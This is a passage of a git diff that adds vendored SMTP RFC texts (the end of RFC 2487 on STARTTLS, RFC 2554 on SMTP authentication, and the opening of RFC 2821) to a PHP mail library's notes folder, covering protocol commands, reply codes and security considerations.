EHLO mail.ietf.org + S: 250-mail.imc.org offers a warm hug of welcome + S: 250 STARTTLS + C: STARTTLS + S: 220 Go ahead + C: + + + +Hoffman Standards Track [Page 4] + +RFC 2487 SMTP Service Extension January 1999 + + + C & S: + C & S: + C: + . . . + +7. Security Considerations + + It should be noted that SMTP is not an end-to-end mechanism. Thus, if + an SMTP client/server pair decide to add TLS privacy, they are not + securing the transport from the originating mail user agent to the + recipient. Further, because delivery of a single piece of mail may + go between more than two SMTP servers, adding TLS privacy to one pair + of servers does not mean that the entire SMTP chain has been made + private. Further, just because an SMTP server can authenticate an + SMTP client, it does not mean that the mail from the SMTP client was + authenticated by the SMTP client when the client received it. + + Both the STMP client and server must check the result of the TLS + negotiation to see whether acceptable authentication or privacy was + achieved. Ignoring this step completely invalidates using TLS for + security. The decision about whether acceptable authentication or + privacy was achieved is made locally, is implementation-dependant, + and is beyond the scope of this document. + + The SMTP client and server should note carefully the result of the + TLS negotiation. If the negotiation results in no privacy, or if it + results in privacy using algorithms or key lengths that are deemed + not strong enough, or if the authentication is not good enough for + either party, the client may choose to end the SMTP session with an + immediate QUIT command, or the server may choose to not accept any + more SMTP commands. + + A server announcing in an EHLO response that it uses a particular TLS + protocol should not pose any security issues, since any use of TLS + will be at least as secure as no use of TLS. + + A man-in-the-middle attack can be launched by deleting the "250 + STARTTLS" response from the server. This would cause the client not + to try to start a TLS session. An SMTP client can protect against + this attack by recording the fact that a particular SMTP server + offers TLS during one session and generating an alarm if it does not + appear in the EHLO response for a later session. The lack of TLS + during a session SHOULD NOT result in the bouncing of email, although + it could result in delayed processing. + + + + + + + +Hoffman Standards Track [Page 5] + +RFC 2487 SMTP Service Extension January 1999 + + + Before the TLS handshake has begun, any protocol interactions are + performed in the clear and may be modified by an active attacker. For + this reason, clients and servers MUST discard any knowledge obtained + prior to the start of the TLS handshake upon completion of the TLS + handshake. + + The STARTTLS extension is not suitable for authenticating the author + of an email message unless every hop in the delivery chain, including + the submission to the first SMTP server, is authenticated. Another + proposal [SMTP-AUTH] can be used to authenticate delivery and MIME + security multiparts [MIME-SEC] can be used to authenticate the author + of an email message. In addition, the [SMTP-AUTH] proposal offers + simpler and more flexible options to authenticate an SMTP client and + the SASL EXTERNAL mechanism [SASL] MAY be used in conjunction with + the STARTTLS command to provide an authorization identity. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +Hoffman Standards Track [Page 6] + +RFC 2487 SMTP Service Extension January 1999 + + +A. References + + [RFC-821] Postel, J., "Simple Mail Transfer Protocol", RFC 821, + August 1982. + + [RFC-1869] Klensin, J., Freed, N, Rose, M, Stefferud, E. and D. + Crocker, "SMTP Service Extensions", STD 10, RFC 1869, + November 1995. + + [RFC-2034] Freed, N., "SMTP Service Extension for Returning Enhanced + Error Codes", RFC 2034, October 1996. + + [RFC-2119] Bradner, S., "Key words for use in RFCs to Indicate + Requirement Levels", BCP 14, RFC 2119, March 1997. + + [SASL] Myers, J., "Simple Authentication and Security Layer + (SASL)", RFC 2222, October 1997. + + [SMTP-AUTH] "SMTP Service Extension for Authentication", Work in + Progress. + + [TLS] Dierks, T. and C. Allen, "The TLS Protocol Version 1.0", + RFC 2246, January 1999. + +B. Author's Address + + Paul Hoffman + Internet Mail Consortium + 127 Segre Place + Santa Cruz, CA 95060 + + Phone: (831) 426-9827 + EMail: phoffman@imc.org + + + + + + + + + + + + + + + + + + +Hoffman Standards Track [Page 7] + +RFC 2487 SMTP Service Extension January 1999 + + +C. Full Copyright Statement + + Copyright (C) The Internet Society (1999). All Rights Reserved. + + This document and translations of it may be copied and furnished to + others, and derivative works that comment on or otherwise explain it + or assist in its implementation may be prepared, copied, published + and distributed, in whole or in part, without restriction of any + kind, provided that the above copyright notice and this paragraph are + included on all such copies and derivative works. However, this + document itself may not be modified in any way, such as by removing + the copyright notice or references to the Internet Society or other + Internet organizations, except as needed for the purpose of + developing Internet standards in which case the procedures for + copyrights defined in the Internet Standards process must be + followed, or as required to translate it into languages other than + English. + + The limited permissions granted above are perpetual and will not be + revoked by the Internet Society or its successors or assigns. + + This document and the information contained herein is provided on an + "AS IS" basis and THE INTERNET SOCIETY AND THE INTERNET ENGINEERING + TASK FORCE DISCLAIMS ALL WARRANTIES, EXPRESS OR IMPLIED, INCLUDING + BUT NOT LIMITED TO ANY WARRANTY THAT THE USE OF THE INFORMATION + HEREIN WILL NOT INFRINGE ANY RIGHTS OR ANY IMPLIED WARRANTIES OF + MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. + + + + + + + + + + + + + + + + + + + + + + + + +Hoffman Standards Track [Page 8] + diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/rfc/rfc2554.txt b/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/rfc/rfc2554.txt new file mode 100644 index 00000000..2922deae --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/rfc/rfc2554.txt @@ -0,0 +1,619 @@ + + + + + + +Network Working Group J. Myers +Request for Comments: 2554 Netscape Communications +Category: Standards Track March 1999 + + + SMTP Service Extension + for Authentication + +Status of this Memo + + This document specifies an Internet standards track protocol for the + Internet community, and requests discussion and suggestions for + improvements. Please refer to the current edition of the "Internet + Official Protocol Standards" (STD 1) for the standardization state + and status of this protocol. Distribution of this memo is unlimited. + +Copyright Notice + + Copyright (C) The Internet Society (1999). All Rights Reserved. + + +1. Introduction + + This document defines an SMTP service extension [ESMTP] whereby an + SMTP client may indicate an authentication mechanism to the server, + perform an authentication protocol exchange, and optionally negotiate + a security layer for subsequent protocol interactions. This + extension is a profile of the Simple Authentication and Security + Layer [SASL]. + + +2. Conventions Used in this Document + + In examples, "C:" and "S:" indicate lines sent by the client and + server respectively. + + The key words "MUST", "MUST NOT", "SHOULD", "SHOULD NOT", and "MAY" + in this document are to be interpreted as defined in "Key words for + use in RFCs to Indicate Requirement Levels" [KEYWORDS]. + + +3. The Authentication service extension + + + (1) the name of the SMTP service extension is "Authentication" + + (2) the EHLO keyword value associated with this extension is "AUTH" + + + + +Myers Standards Track [Page 1] + +RFC 2554 SMTP Authentication March 1999 + + + (3) The AUTH EHLO keyword contains as a parameter a space separated + list of the names of supported SASL mechanisms. + + (4) a new SMTP verb "AUTH" is defined + + (5) an optional parameter using the keyword "AUTH" is added to the + MAIL FROM command, and extends the maximum line length of the + MAIL FROM command by 500 characters. + + (6) this extension is appropriate for the submission protocol + [SUBMIT]. + + +4. The AUTH command + + AUTH mechanism [initial-response] + + Arguments: + a string identifying a SASL authentication mechanism. + an optional base64-encoded response + + Restrictions: + After an AUTH command has successfully completed, no more AUTH + commands may be issued in the same session. After a successful + AUTH command completes, a server MUST reject any further AUTH + commands with a 503 reply. + + The AUTH command is not permitted during a mail transaction. + + Discussion: + The AUTH command indicates an authentication mechanism to the + server. If the server supports the requested authentication + mechanism, it performs an authentication protocol exchange to + authenticate and identify the user. Optionally, it also + negotiates a security layer for subsequent protocol + interactions. If the requested authentication mechanism is not + supported, the server rejects the AUTH command with a 504 + reply. + + The authentication protocol exchange consists of a series of + server challenges and client answers that are specific to the + authentication mechanism. A server challenge, otherwise known + as a ready response, is a 334 reply with the text part + containing a BASE64 encoded string. The client answer consists + of a line containing a BASE64 encoded string. If the client + wishes to cancel an authentication exchange, it issues a line + with a single "*". If the server receives such an answer, it + MUST reject the AUTH command by sending a 501 reply. + + + +Myers Standards Track [Page 2] + +RFC 2554 SMTP Authentication March 1999 + + + The optional initial-response argument to the AUTH command is + used to save a round trip when using authentication mechanisms + that are defined to send no data in the initial challenge. + When the initial-response argument is used with such a + mechanism, the initial empty challenge is not sent to the + client and the server uses the data in the initial-response + argument as if it were sent in response to the empty challenge. + Unlike a zero-length client answer to a 334 reply, a zero- + length initial response is sent as a single equals sign ("="). + If the client uses an initial-response argument to the AUTH + command with a mechanism that sends data in the initial + challenge, the server rejects the AUTH command with a 535 + reply. + + If the server cannot BASE64 decode the argument, it rejects the + AUTH command with a 501 reply. If the server rejects the + authentication data, it SHOULD reject the AUTH command with a + 535 reply unless a more specific error code, such as one listed + in section 6, is appropriate. Should the client successfully + complete the authentication exchange, the SMTP server issues a + 235 reply. + + The service name specified by this protocol's profile of SASL + is "smtp". + + If a security layer is negotiated through the SASL + authentication exchange, it takes effect immediately following + the CRLF that concludes the authentication exchange for the + client, and the CRLF of the success reply for the server. Upon + a security layer's taking effect, the SMTP protocol is reset to + the initial state (the state in SMTP after a server issues a + 220 service ready greeting). The server MUST discard any + knowledge obtained from the client, such as the argument to the + EHLO command, which was not obtained from the SASL negotiation + itself. The client MUST discard any knowledge obtained from + the server, such as the list of SMTP service extensions, which + was not obtained from the SASL negotiation itself (with the + exception that a client MAY compare the list of advertised SASL + mechanisms before and after authentication in order to detect + an active down-negotiation attack). The client SHOULD send an + EHLO command as the first command after a successful SASL + negotiation which results in the enabling of a security layer. + + The server is not required to support any particular + authentication mechanism, nor are authentication mechanisms + required to support any security layers. If an AUTH command + fails, the client may try another authentication mechanism by + issuing another AUTH command. + + + +Myers Standards Track [Page 3] + +RFC 2554 SMTP Authentication March 1999 + + + If an AUTH command fails, the server MUST behave the same as if + the client had not issued the AUTH command. + + The BASE64 string may in general be arbitrarily long. Clients + and servers MUST be able to support challenges and responses + that are as long as are generated by the authentication + mechanisms they support, independent of any line length + limitations the client or server may have in other parts of its + protocol implementation. + + Examples: + S: 220 smtp.example.com ESMTP server ready + C: EHLO jgm.example.com + S: 250-smtp.example.com + S: 250 AUTH CRAM-MD5 DIGEST-MD5 + C: AUTH FOOBAR + S: 504 Unrecognized authentication type. + C: AUTH CRAM-MD5 + S: 334 + PENCeUxFREJoU0NnbmhNWitOMjNGNndAZWx3b29kLmlubm9zb2Z0LmNvbT4= + C: ZnJlZCA5ZTk1YWVlMDljNDBhZjJiODRhMGMyYjNiYmFlNzg2ZQ== + S: 235 Authentication successful. + + + +5. The AUTH parameter to the MAIL FROM command + + AUTH=addr-spec + + Arguments: + An addr-spec containing the identity which submitted the message + to the delivery system, or the two character sequence "<>" + indicating such an identity is unknown or insufficiently + authenticated. To comply with the restrictions imposed on ESMTP + parameters, the addr-spec is encoded inside an xtext. The syntax + of an xtext is described in section 5 of [ESMTP-DSN]. + + Discussion: + The optional AUTH parameter to the MAIL FROM command allows + cooperating agents in a trusted environment to communicate the + authentication of individual messages. + + If the server trusts the authenticated identity of the client to + assert that the message was originally submitted by the supplied + addr-spec, then the server SHOULD supply the same addr-spec in an + AUTH parameter when relaying the message to any server which + supports the AUTH extension. + + + + +Myers Standards Track [Page 4] + +RFC 2554 SMTP Authentication March 1999 + + + A MAIL FROM parameter of AUTH=<> indicates that the original + submitter of the message is not known. The server MUST NOT treat + the message as having been originally submitted by the client. + + If the AUTH parameter to the MAIL FROM is not supplied, the + client has authenticated, and the server believes the message is + an original submission by the client, the server MAY supply the + client's identity in the addr-spec in an AUTH parameter when + relaying the message to any server which supports the AUTH + extension. + + If the server does not sufficiently trust the authenticated + identity of the client, or if the client is not authenticated, + then the server MUST behave as if the AUTH=<> parameter was + supplied. The server MAY, however, write the value of the AUTH + parameter to a log file. + + If an AUTH=<> parameter was supplied, either explicitly or due to + the requirement in the previous paragraph, then the server MUST + supply the AUTH=<> parameter when relaying the message to any + server which it has authenticated to using the AUTH extension. + + A server MAY treat expansion of a mailing list as a new + submission, setting the AUTH parameter to the mailing list + address or mailing list administration address when relaying the + message to list subscribers. + + It is conforming for an implementation to be hard-coded to treat + all clients as being insufficiently trusted. In that case, the + implementation does nothing more than parse and discard + syntactically valid AUTH parameters to the MAIL FROM command and + supply AUTH=<> parameters to any servers to which it + authenticates using the AUTH extension. + + Examples: + C: MAIL FROM: AUTH=e+3Dmc2@example.com + S: 250 OK + + + + + + + + + + + + + + +Myers Standards Track [Page 5] + +RFC 2554 SMTP Authentication March 1999 + + +6. Error Codes + + The following error codes may be used to indicate various conditions + as described. + + 432 A password transition is needed + + This response to the AUTH command indicates that the user needs to + transition to the selected authentication mechanism. This typically + done by authenticating once using the PLAIN authentication mechanism. + + 534 Authentication mechanism is too weak + + This response to the AUTH command indicates that the selected + authentication mechanism is weaker than server policy permits for + that user. + + 538 Encryption required for requested authentication mechanism + + This response to the AUTH command indicates that the selected + authentication mechanism may only be used when the underlying SMTP + connection is encrypted. + + 454 Temporary authentication failure + + This response to the AUTH command indicates that the authentication + failed due to a temporary server failure. + + 530 Authentication required + + This response may be returned by any command other than AUTH, EHLO, + HELO, NOOP, RSET, or QUIT. It indicates that server policy requires + authentication in order to perform the requested action. + + + + + + + + + + + + + + + + + + +Myers Standards Track [Page 6] + +RFC 2554 SMTP Authentication March 1999 + + +7. Formal Syntax + + The following syntax specification uses the augmented Backus-Naur + Form (BNF) notation as specified in [ABNF]. + + Except as noted otherwise, all alphabetic characters are case- + insensitive. The use of upper or lower case characters to define + token strings is for editorial clarity only. Implementations MUST + accept these strings in a case-insensitive fashion. + + UPALPHA = %x41-5A ;; Uppercase: A-Z + + LOALPHA = %x61-7A ;; Lowercase: a-z + + ALPHA = UPALPHA / LOALPHA ;; case insensitive + + DIGIT = %x30-39 ;; Digits 0-9 + + HEXDIGIT = %x41-46 / DIGIT ;; hexidecimal digit (uppercase) + + hexchar = "+" HEXDIGIT HEXDIGIT + + xchar = %x21-2A / %x2C-3C / %x3E-7E + ;; US-ASCII except for "+", "=", SPACE and CTL + + xtext = *(xchar / hexchar) + + AUTH_CHAR = ALPHA / DIGIT / "-" / "_" + + auth_type = 1*20AUTH_CHAR + + auth_command = "AUTH" SPACE auth_type [SPACE (base64 / "=")] + *(CRLF [base64]) CRLF + + auth_param = "AUTH=" xtext + ;; The decoded form of the xtext MUST be either + ;; an addr-spec or the two characters "<>" + + base64 = base64_terminal / + ( 1*(4base64_CHAR) [base64_terminal] ) + + base64_char = UPALPHA / LOALPHA / DIGIT / "+" / "/" + ;; Case-sensitive + + base64_terminal = (2base64_char "==") / (3base64_char "=") + + continue_req = "334" SPACE [base64] CRLF + + + + +Myers Standards Track [Page 7] + +RFC 2554 SMTP Authentication March 1999 + + + CR = %x0C ;; ASCII CR, carriage return + + CRLF = CR LF + + CTL = %x00-1F / %x7F ;; any ASCII control character and DEL + + LF = %x0A ;; ASCII LF, line feed + + SPACE = %x20 ;; ASCII SP, space + + + + +8. References + + [ABNF] Crocker, D. and P. Overell, "Augmented BNF for Syntax + Specifications: ABNF", RFC 2234, November 1997. + + [CRAM-MD5] Klensin, J., Catoe, R. and P. Krumviede, "IMAP/POP + AUTHorize Extension for Simple Challenge/Response", RFC + 2195, September 1997. + + [ESMTP] Klensin, J., Freed, N., Rose, M., Stefferud, E. and D. + Crocker, "SMTP Service Extensions", RFC 1869, November + 1995. + + [ESMTP-DSN] Moore, K, "SMTP Service Extension for Delivery Status + Notifications", RFC 1891, January 1996. + + [KEYWORDS] Bradner, S., "Key words for use in RFCs to Indicate + Requirement Levels", BCP 14, RFC 2119, March 1997. + + [SASL] Myers, J., "Simple Authentication and Security Layer + (SASL)", RFC 2222, October 1997. + + [SUBMIT] Gellens, R. and J. Klensin, "Message Submission", RFC + 2476, December 1998. + + [RFC821] Postel, J., "Simple Mail Transfer Protocol", STD 10, RFC + 821, August 1982. + + [RFC822] Crocker, D., "Standard for the Format of ARPA Internet + Text Messages", STD 11, RFC 822, August 1982. + + + + + + + + +Myers Standards Track [Page 8] + +RFC 2554 SMTP Authentication March 1999 + + +9. Security Considerations + + Security issues are discussed throughout this memo. + + If a client uses this extension to get an encrypted tunnel through an + insecure network to a cooperating server, it needs to be configured + to never send mail to that server when the connection is not mutually + authenticated and encrypted. Otherwise, an attacker could steal the + client's mail by hijacking the SMTP connection and either pretending + the server does not support the Authentication extension or causing + all AUTH commands to fail. + + Before the SASL negotiation has begun, any protocol interactions are + performed in the clear and may be modified by an active attacker. + For this reason, clients and servers MUST discard any knowledge + obtained prior to the start of the SASL negotiation upon completion + of a SASL negotiation which results in a security layer. + + This mechanism does not protect the TCP port, so an active attacker + may redirect a relay connection attempt to the submission port + [SUBMIT]. The AUTH=<> parameter prevents such an attack from causing + an relayed message without an envelope authentication to pick up the + authentication of the relay client. + + A message submission client may require the user to authenticate + whenever a suitable SASL mechanism is advertised. Therefore, it may + not be desirable for a submission server [SUBMIT] to advertise a SASL + mechanism when use of that mechanism grants the client no benefits + over anonymous submission. + + This extension is not intended to replace or be used instead of end- + to-end message signature and encryption systems such as S/MIME or + PGP. This extension addresses a different problem than end-to-end + systems; it has the following key differences: + + (1) it is generally useful only within a trusted enclave + + (2) it protects the entire envelope of a message, not just the + message's body. + + (3) it authenticates the message submission, not authorship of the + message content + + (4) it can give the sender some assurance the message was + delivered to the next hop in the case where the sender + mutually authenticates with the next hop and negotiates an + appropriate security layer. + + + + +Myers Standards Track [Page 9] + +RFC 2554 SMTP Authentication March 1999 + + + Additional security considerations are mentioned in the SASL + specification [SASL]. + + + +10. Author's Address + + John Gardiner Myers + Netscape Communications + 501 East Middlefield Road + Mail Stop MV-029 + Mountain View, CA 94043 + + EMail: jgmyers@netscape.com + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +Myers Standards Track [Page 10] + +RFC 2554 SMTP Authentication March 1999 + + +11. Full Copyright Statement + + Copyright (C) The Internet Society (1999). All Rights Reserved. + + This document and translations of it may be copied and furnished to + others, and derivative works that comment on or otherwise explain it + or assist in its implementation may be prepared, copied, published + and distributed, in whole or in part, without restriction of any + kind, provided that the above copyright notice and this paragraph are + included on all such copies and derivative works. However, this + document itself may not be modified in any way, such as by removing + the copyright notice or references to the Internet Society or other + Internet organizations, except as needed for the purpose of + developing Internet standards in which case the procedures for + copyrights defined in the Internet Standards process must be + followed, or as required to translate it into languages other than + English. + + The limited permissions granted above are perpetual and will not be + revoked by the Internet Society or its successors or assigns. + + This document and the information contained herein is provided on an + "AS IS" basis and THE INTERNET SOCIETY AND THE INTERNET ENGINEERING + TASK FORCE DISCLAIMS ALL WARRANTIES, EXPRESS OR IMPLIED, INCLUDING + BUT NOT LIMITED TO ANY WARRANTY THAT THE USE OF THE INFORMATION + HEREIN WILL NOT INFRINGE ANY RIGHTS OR ANY IMPLIED WARRANTIES OF + MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. + + + + + + + + + + + + + + + + + + + + + + + + +Myers Standards Track [Page 11] + diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/rfc/rfc2821.txt b/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/rfc/rfc2821.txt new file mode 100644 index 00000000..0eac9118 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/notes/rfc/rfc2821.txt @@ -0,0 +1,4427 @@ + + + + + + +Network Working Group J. Klensin, Editor +Request for Comments: 2821 AT&T Laboratories +Obsoletes: 821, 974, 1869 April 2001 +Updates: 1123 +Category: Standards Track + + + Simple Mail Transfer Protocol + +Status of this Memo + + This document specifies an Internet standards track protocol for the + Internet community, and requests discussion and suggestions for + improvements. Please refer to the current edition of the "Internet + Official Protocol Standards" (STD 1) for the standardization state + and status of this protocol. Distribution of this memo is unlimited. + +Copyright Notice + + Copyright (C) The Internet Society (2001). All Rights Reserved. + +Abstract + + This document is a self-contained specification of the basic protocol + for the Internet electronic mail transport. It consolidates, updates + and clarifies, but doesn't add new or change existing functionality + of the following: + + - the original SMTP (Simple Mail Transfer Protocol) specification of + RFC 821 [30], + + - domain name system requirements and implications for mail + transport from RFC 1035 [22] and RFC 974 [27], + + - the clarifications and applicability statements in RFC 1123 [2], + and + + - material drawn from the SMTP Extension mechanisms [19]. + + It obsoletes RFC 821, RFC 974, and updates RFC 1123 (replaces the + mail transport materials of RFC 1123). However, RFC 821 specifies + some features that were not in significant use in the Internet by the + mid-1990s and (in appendices) some additional transport models. + Those sections are omitted here in the interest of clarity and + brevity; readers needing them should refer to RFC 821. + + + + + + +Klensin Standards Track [Page 1] + +RFC 2821 Simple Mail Transfer Protocol April 2001 + + + It also includes some additional material from RFC 1123 that required + amplification. This material has been identified in multiple ways, + mostly by tracking flaming on various lists and newsgroups and + problems of unusual readings or interpretations that have appeared as + the SMTP extensions have been deployed. Where this specification + moves beyond consolidation and actually differs from earlier + documents, it supersedes them technically as well as textually. + + Although SMTP was designed as a mail transport and delivery protocol, + this specification also contains information that is important to its + use as a 'mail submission' protocol, as recommended for POP [3, 26] + and IMAP [6]. Additional submission issues are discussed in RFC 2476 + [15]. + + Section 2.3 provides definitions of terms specific to this document. + Except when the historical terminology is necessary for clarity, this + document uses the current 'client' and 'server' terminology to + identify the sending and receiving SMTP processes, respectively. + + A companion document [32] discusses message headers, message bodies + and formats and structures for them, and their relationship. + +Table of Contents + + 1. Introduction .................................................. 4 + 2. The SMTP Model ................................................ 5 + 2.1 Basic Structure .............................................. 5 + 2.2 The Extension Model .......................................... 7 + 2.2.1 Background ................................................. 7 + 2.2.2 Definition and Registration of Extensions .................. 8 + 2.3 Terminology .................................................. 9 + 2.3.1 Mail Objects ............................................... 10 + 2.3.2 Senders and Receivers ...................................... 10 + 2.3.3 Mail Agents and Message Stores ............................. 10 + 2.3.4 Host ....................................................... 11 + 2.3.5 Domain ..................................................... 11 + 2.3.6 Buffer and State Table ..................................... 11 + 2.3.7 Lines ...................................................... 12 + 2.3.8 Originator, Delivery, Relay, and Gateway Systems ........... 12 + 2.3.9 Message Content and Mail Data .............................. 13 + 2.3.10 Mailbox and Address ....................................... 13 + 2.3.11 Reply ..................................................... 13 + 2.4 General Syntax Principles and Transaction Model .............. 13 + 3. The SMTP Procedures: An Overview .............................. 15 + 3.1 Session Initiation ........................................... 15 + 3.2 Client Initiation ............................................ 16 + 3.3 Mail Transactions ............................................ 16 + 3.4 Forwarding for Address Correction or Updating ................ 19 + + + +Klensin Standards Track [Page 2] + +RFC 2821 Simple Mail Transfer Protocol April 2001 + + + 3.5 Commands for Debugging Addresses ............................. 20 + 3.5.1 Overview ................................................... 20 + 3.5.2 VRFY Normal Response ....................................... 22 + 3.5.3 Meaning of VRFY or EXPN Success Response ................... 22 + 3.5.4 Semantics and Applications of EXPN ......................... 23 + 3.6 Domains ...................................................... 23 + 3.7 Relaying ..................................................... 24 + 3.8 Mail Gatewaying .............................................. 25 + 3.8.1 Header Fields in Gatewaying ................................ 26 + 3.8.2 Received Lines in Gatewaying ............................... 26 + 3.8.3 Addresses in Gatewaying .................................... 26 + 3.8.4 Other Header Fields in Gatewaying .......................... 27 + 3.8.5 Envelopes in Gatewaying .................................... 27 + 3.9 Terminating Sessions and Connections ......................... 27 + 3.10 Mailing Lists and Aliases ................................... 28 + 3.10.1 Alias ..................................................... 28 + 3.10.2 List ...................................................... 28 + 4. The SMTP Specifications ....................................... 29 + 4.1 SMTP Commands ................................................ 29 + 4.1.1 Command Semantics and Syntax ............................... 29 + 4.1.1.1 Extended HELLO (EHLO) or HELLO (HELO) ................... 29 + 4.1.1.2 MAIL (MAIL) .............................................. 31 + 4.1.1.3 RECIPIENT (RCPT) ......................................... 31 + 4.1.1.4 DATA (DATA) .............................................. 33 + 4.1.1.5 RESET (RSET) ............................................. 34 + 4.1.1.6 VERIFY (VRFY) ............................................ 35 + 4.1.1.7 EXPAND (EXPN) ............................................ 35 + 4.1.1.8 HELP (HELP) .............................................. 35 + 4.1.1.9 NOOP (NOOP) .............................................. 35 + 4.1.1.10 QUIT (QUIT) ............................................. 36 + 4.1.2 Command Argument Syntax .................................... 36 + 4.1.3 Address Literals ........................................... 38 + 4.1.4 Order of Commands .......................................... 39 + 4.1.5 Private-use Commands ....................................... 40 + 4.2 SMTP Replies ................................................ 40 + 4.2.1 Reply Code Severities and Theory ........................... 42 + 4.2.2 Reply Codes by Function Groups ............................. 44 + 4.2.3 Reply Codes in Numeric Order .............................. 45 + 4.2.4 Reply Code 502 ............................................. 46 + 4.2.5 Reply Codes After DATA and the Subsequent . .... 46 + 4.3 Sequencing of Commands and Replies ........................... 47 + 4.3.1 Sequencing Overview ........................................ 47 + 4.3.2 Command-Reply Sequences .................................... 48 + 4.4 Trace Information ............................................ 49 + 4.5 Additional Implementation Issues ............................. 53 + 4.5.1 Minimum Implementation ..................................... 53 + 4.5.2 Transparency ............................................... 53 + 4.5.3 Sizes and Timeouts ......................................... 54 + + + +Klensin Standards Track [Page 3] + +RFC 2821 Simple Mail Transfer Protocol April 2001 + + + 4.5.3.1 Size limits and minimums ................................. 54 + 4.5.3.2 Timeouts ................................................. 56 + 4.5.4 Retry Strategies ........................................... 57 + 4.5.4.1 Sending Strategy ......................................... 58 + 4.5.4.2 Receiving Strategy ....................................... 59 + 4.5.5 Messages with a null reverse-path .......................... 59 + 5. Address Resolution and Mail Handling .......................... 60 + 6. Problem Detection and Handling ................................ 62 + 6.1 Reliable Delivery and Replies by Email ....................... 62 + 6.2 Loop Detection ............................................... 63 + 6.3 Compensating for Irregularities .............................. 63 + 7. Security Considerations ....................................... 64 + 7.1 Mail Security and Spoofing ................................... 64 + 7.2 "Blind" Copies ............................................... 65 + 7.3 VRFY, EXPN, and Security ..................................... 65 + 7.4 Information Disclosure in Announcements ...................... 66 + 7.5 Information Disclosure in Trace Fields ....................... 66 + 7.6 Information Disclosure in Message Forwarding ................. 67 + 7.7 Scope of Operation of SMTP Servers ........................... 67 + 8. IANA Considerations ........................................... 67 + 9. References .................................................... 68 + 10. Editor's Address ............................................. 70 + 11. Acknowledgments .............................................. 70 + Appendices ....................................................... 71 + A. TCP Transport Service ......................................... 71 + B. Generating SMTP Commands from RFC 822 Headers ................. 71 + C. Source Routes ................................................. 72 + D. Scenarios ..................................................... 73 + E. Other Gateway Issues .......................................... 76 + F. Deprecated Features of RFC 821 ................................ 76 + Full Copyright Statement ......................................... 79 + +1. Introduction + + The objective of the Simple Mail Transfer Protocol (SMTP) is to + transfer mail reliably and efficiently. + + SMTP is independent of the particular transmission subsystem and + requires only a reliable ordered data stream channel. While this + document specifically discusses transport over TCP, other transports + are possible. Appendices to RFC 821 describe some of them. + + An important feature of SMTP is its capability to transport mail + across networks, usually referred to as "SMTP mail relaying" (see + section 3.8). A network consists of the mutually-TCP-accessible + hosts on the public Internet, the mutually-TCP-accessible hosts on a + firewall-isolated TCP/IP Intranet, or hosts in some other LAN or WAN + environment utilizing a non-TCP transport-level protocol. Using + + + +Klensin Standards Track [Page 4] + +RFC 2821 Simple Mail Transfer Protocol April 2001 + + + SMTP, a process can transfer mail to another process on the same + network or to some other network via a relay or gateway process + accessible to both networks. + + In this way, a mail message may pass through a number of intermediate + relay or gateway hosts on its path from sender to ultimate recipient. + The Mail eXchanger mechanisms of the domain name system [22, 27] (and + section 5 of this document) are used to identify the appropriate + next-hop destination for a message being transported. + +2. The SMTP Model + +2.1 Basic Structure + + The SMTP design can be pictured as: + + +----------+ +----------+ + +------+ | | | | + | User |<-->| | SMTP | | + +------+ | Client- |Commands/Replies| Server- | + +------+ | SMTP |<-------------->| SMTP | +------+ + | File |<-->| | and Mail | |<-->| File | + |System| | | | | |System| + +------+ +----------+ +----------+ +------+ + SMTP client SMTP server + + When an SMTP client has a message to transmit, it establishes a two- + way transmission channel to an SMTP server. The responsibility of an + SMTP client is to transfer mail messages to one or more SMTP servers, + or report its failure to do so. + + The means by which a mail message is presented to an SMTP client, and + how that client determines the domain name(s) to which mail messages + are to be transferred is a local matter, and is not addressed by this + document. In some cases, the domain name(s) transferred to, or + determined by, an SMTP client will identify the final destination(s) + of the mail message. In other cases, common with SMTP clients + associated with implementations of the POP [3, 26] or IMAP [6] + protocols, or when the SMTP client is inside an isolated transport + service environment, the domain name determined will identify an + intermediate destination through which all mail messages are to be + relayed. SMTP clients that transfer all traffic, regardless of the + target domain names associated with the individual messages, or that + do not maintain queues for retrying message transmissions that + initially cannot be completed, may otherwise conform to this + specification but are not considered fully-capable. Fully-capable + SMTP implementations, including the relays used by these less capable + + + + +Klensin Standards Track [Page 5] + +RFC 2821 Simple Mail Transfer Protocol April 2001 + + + ones, and their destinations, are expected to support all of the + queuing, retrying, and alternate address functions discussed in this + specification. + + The means by which an SMTP client, once it has determined a target + domain name, determines the identity of an SMTP server to which a + copy of a message is to be transferred, and then performs that + transfer, is covered by this document. To effect a mail transfer to + an SMTP server, an SMTP client establishes a two-way transmission + channel to that SMTP server. An SMTP client determines the address + of an appropriate host running an SMTP server by resolving a + destination domain name to either an intermediate Mail eXchanger host + or a final target host. + + An SMTP server may be either the ultimate destination or an + intermediate "relay" (that is, it may assume the role of an SMTP + client after receiving the message) or "gateway" (that is, it may + transport the message further using some protocol other than SMTP). + SMTP commands are generated by the SMTP client and sent to the SMTP + server. SMTP replies are sent from the SMTP server to the SMTP + client in response to the commands. + + In other words, message transfer can occur in a single connection + between the original SMTP-sender and the final SMTP-recipient, or can + occur in a series of hops through intermediary systems. In either + case, a formal handoff of responsibility for the message occurs: the + protocol requires that a server accept responsibility for either + delivering a message or properly reporting the failure to do so. + + Once the transmission channel is established and initial handshaking + completed, the SMTP client normally initiates a mail transaction. + Such a transaction consists of a series of commands to specify the + originator and destination of the mail and transmission of the + message content (including any headers or other structure) itself. + When the same message is sent to multiple recipients, this protocol + encourages the transmission of only one copy of the data for all + recipients at the same destination (or intermediate relay) host. + + The server responds to each command with a reply; replies may + indicate that the command was accepted, that additional commands are + expected, or that a temporary or permanent error condition exists. + Commands specifying the sender or recipients may include server- + permitted SMTP service extension requests as discussed in section + 2.2. The dialog is purposely lock-step, one-at-a-time, although this + can be modified by mutually-agreed extension requests such as command + pipelining [13]. + + + + + +Klensin Standards Track [Page 6] + +RFC 2821 Simple Mail Transfer Protocol April 2001 + + + Once a given mail message has been transmitted, the client may either + request that the connection be shut down or may initiate other mail + transactions. In addition, an SMTP client may use a connection to an + SMTP server for ancillary services such as 